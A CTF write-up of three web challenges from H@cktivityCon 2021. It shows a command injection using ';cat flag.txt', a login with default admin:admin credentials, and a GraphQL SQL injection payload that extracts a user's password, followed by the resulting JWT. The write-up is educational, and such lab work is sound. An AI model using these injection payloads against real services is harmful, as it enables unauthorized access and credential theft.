H@cktivityCon 2021 CTF

I’ve participated in the 2021 H@cktivityCon CTF. Sadly during the active period of this CTF, I did not have a lot of time to spend on the challenges. However, I did manage to finish the following three:

  • Confidentiality
  • Swaggy
  • All Baked Up

You can find my writeups for each of these challenges below. Feel free to contact me about anything at newline [ATSIGN] newline.blog

Confidentiality

Difficulty Category points
Easy web 50 points

This service allows the user to run ls -l on any user-specified file and returned the output of the command. As can be guessed by the functionality alone, the service is vulnerable to a Linux command injection vulnerability.

Entering ;ls as file returns:

Command injection ls

As can be seen in the image, the injected ls command is executed as its output is present underneath the original script output. This also shows that the flag.txt file is present in the same folder as the script.

Combining our knowledge about the implementation, a simple ;cat flag.txt returns the flag!

flag{e56abbce7b83d62dac05e59fb1e81c68}

Swaggy

Difficulty Category points
Easy web 50 points

This challenge features a swagger UI interface.

A single endpoint is present which will give you the flag. However, as mentioned in the top left environment dropdown, this seems non-functional in the current production environment.

We can use this same dropdown to switch our environment to the staging environment. If we try to call the same API endpoint again, we get a different error message:

{
  "error": "Missing authorization header"
}

In the top right we can attempt to authenticate our requests. Entering a default admin:admin and calling the endpoint again gives us the flag:

{
  "flag": "flag{e04f962d0529a4289a685112bf1dcdd3}"
}

I kind of guessed the default credentials of admin:admin while randomly experimenting. During my testing, I did not see any way in which this could be discovered otherwise.


All Baked Up

Difficulty Category points
Medium web 482 points

This web app features a recipe-sharing site running on GraphQL and serves JWT authentication cookies.

To explore the GraphQL endpoints, I used an extension for Burpsuite called inql. Exploring the GraphQL endpoints, we find the following available:

GraphQL endpoints

This burp suite extension also neatly prepares proper requests to each of the available endpoints. Using this we can easily create a user for ourselves. This gives us our valid JWT authorization token.

Attempting to now call the flag endpoint gives us the following message:

{
   "data" : {
      "flag" : ""
   },
   "errors" : [
      {
         "locations" : [
            {
               "column" : 2,
               "line" : 2
            }
         ],
         "message" : "error only congon4tor can get the flag",
         "path" : [
            "flag"
         ]
      }
   ]
}

I spend a significant amount of time attempting to mess with the JWT token. I ran a complete scan with jwt_tool and attempted various other common JWT vulnerabilities as well, all to no avail. The JWT implementation was solid.

After some experimentation, it appears that a different approach was required to gain access to the congon4tor user; the post name field of the post.query endpoint was vulnerable to SQL injection (UNION ALL SELECT with 6 colums). Using the following payload I could extract the password of the congon4tor user:

{
   "query" : "query {\n\tpost(name:\"' union all select '0','b','c',(SELECT password FROM users),'e','f\") {\n\t\timage\n\t\tauthor {\n\t\t\tid\n\t\t}\n\t\tcontent\n\t\tname\n\t\tid\n\t}\n}"
}

With the above query, I assumed that the congon4tor user would be the first in the users table, looking somewhat as follows:

id username password
0 congon4tor n8bboB!3%vDwiASVgKhv

Giving us his password in the response as follows:

{
   "data" : {
      "post" : [
         {
            "author" : {
               "id" : 0
            },
            "content" : "n8bboB!3%vDwiASVgKhv",
            "id" : 0,
            "image" : "c",
            "name" : "b"
         }
      ]
   }
}

Then I simply authenticated myself as congon4tor with the authenticateUser.query endpoint with the credentials to obtain a valid JWS token:

{
   "query" : "mutation {\n\tauthenticateUser(password:\"n8bboB!3%vDwiASVgKhv\", username:\"congon4tor\") {\n\t\ttoken\n\t\tuser {\n\t\t\tid\n\t\t}\n\t}\n}"
}

With response:

{
   "data" : {
      "authenticateUser" : {
         "token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNvbmdvbjR0b3IiLCJleHAiOjE2MzIwNTk4NTAsImlhdCI6MTYzMTg4NzA1MCwiaXNzIjoiQ29uZ29uNHRvciJ9.N9Gc9l_bSxkU85fQ5y_nkU0P8lLMQswBBHmvoOOIAiE",
         "user" : {
            "id" : 0
         }
      }
   }
}

After setting the JWT token in the request header and calling the flag.query endpoint, I’ve obtained the flag in the response:

{
   "data" : {
      "flag" : "flag{9d26b6e4a765ecd87fe03a1494c22236}"
   }
}